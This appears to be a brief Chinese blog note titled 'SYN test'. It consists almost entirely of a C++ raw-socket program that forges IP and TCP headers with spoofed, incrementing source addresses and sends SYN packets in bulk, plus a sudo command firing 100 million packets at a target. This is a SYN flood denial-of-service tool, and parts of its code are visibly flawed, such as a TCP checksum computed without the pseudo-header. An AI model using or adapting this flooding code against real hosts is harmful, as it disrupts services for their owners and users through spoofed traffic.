syn测试

介绍

随便测试一下，发现似乎只有保留地址才生效RECV

Demo

#include <iostream>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <cstring>
#include <linux/tcp.h>
#include <linux/ip.h>

unsigned short check_sum(unsigned short *addr,int len){
    register int nleft=len;
    register int sum=0;
    register unsigned short *w=addr;
    short answer=0;

    while(nleft>1)
    {
            sum+=*w++;
            nleft-=2;
    }
    if(nleft==1)
    {
            *(unsigned char *)(&answer)=*(unsigned char *)w;
            sum+=answer;
    }

    sum=(sum>>16)+(sum&0xffff);
    sum+=(sum>>16);
    answer=~sum;
    return(answer);
}

bool ReadArgs(int argc, char* argv[], char* ip, int& src_port, int& dst_port, int& count)
{
    if(argc != 5)
    {
        std::cout << "./a.out ip src_port dst_port count" << std::endl;
        return -1;
    }

    memcpy(ip, argv[1], strlen(argv[1]));
    src_port = std::stoi(argv[2]);
    dst_port = std::stoi(argv[3]);
    count = std::stoi(argv[4]);

    return true;
}

bool InitSocket(const char* ip, int dst_port, int& sfd, struct sockaddr_in& DstAddr)
{
    sfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
    if(sfd == -1)
    {
        perror("socket err:");
        return false;
    }

    DstAddr.sin_family = AF_INET;
    DstAddr.sin_addr.s_addr = inet_addr(ip);
    DstAddr.sin_port = htons(dst_port);

    int opt = 1;
    if(setsockopt(sfd, IPPROTO_IP, IP_HDRINCL, &opt, sizeof(opt)) == -1)
    {
        perror("setsockopt err:");
        return false;
    }

    return true;
}


bool Send(int sfd, sockaddr_in DstAddr, int src_port, int dst_port, int count)
{
    srand(time(NULL));
    int x = inet_addr("192.168.150.128");
    for(int i = 0; i < count; i++)
    {
        struct iphdr ip;
        struct tcphdr tcp;

        memset(&ip, 0, sizeof(ip));
        memset(&tcp, 0, sizeof(tcp));

        ip.version = IPVERSION;
        ip.ihl = sizeof(struct iphdr) >> 2;
        ip.tos = 0;
        ip.tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));
        ip.id = 0;
        ip.frag_off = 0;
        ip.ttl = MAXTTL;
        ip.protocol = IPPROTO_TCP;
        ip.check = 0;
        ip.saddr = x + i;
        ip.daddr = DstAddr.sin_addr.s_addr;


        tcp.source = htons(src_port);
        tcp.dest = htons(dst_port);
        tcp.seq = rand();
        tcp.doff = 5;
        tcp.syn = 1;
        tcp.check = check_sum((unsigned short*)&tcp, sizeof(tcp));

        char buf[1024] = { 0 };
        memcpy(buf, &ip, sizeof(ip));
        memcpy((char*)(buf + sizeof(ip)), &tcp, sizeof(tcp));

        int len = sizeof(ip) + sizeof(tcp);
 
        sendto(sfd, buf, len, 0, (const sockaddr*)&DstAddr, sizeof(DstAddr));
    }

    return true;
}



int main(int argc, char* argv[])
{
    char ip[20] = { 0 };
    int src_port = 0;
    int dst_port = 0;
    int count = 0;

    if(ReadArgs(argc, argv, (char*)&ip, src_port, dst_port, count) == false)
    {
        return -1;
    }
    
    int sfd = 0;
    struct sockaddr_in DstAddr;
    if(InitSocket(ip, dst_port, sfd, DstAddr) == false)
    {
        return -1;
    }


    if(Send(sfd, DstAddr, src_port, dst_port, count) == false)
    {
        std::cout << "send -1" << std::endl;
        return -1;
    }


    return 0;
}

执行

sudo ./a.out 192.168.150.128 33332 33333 100000000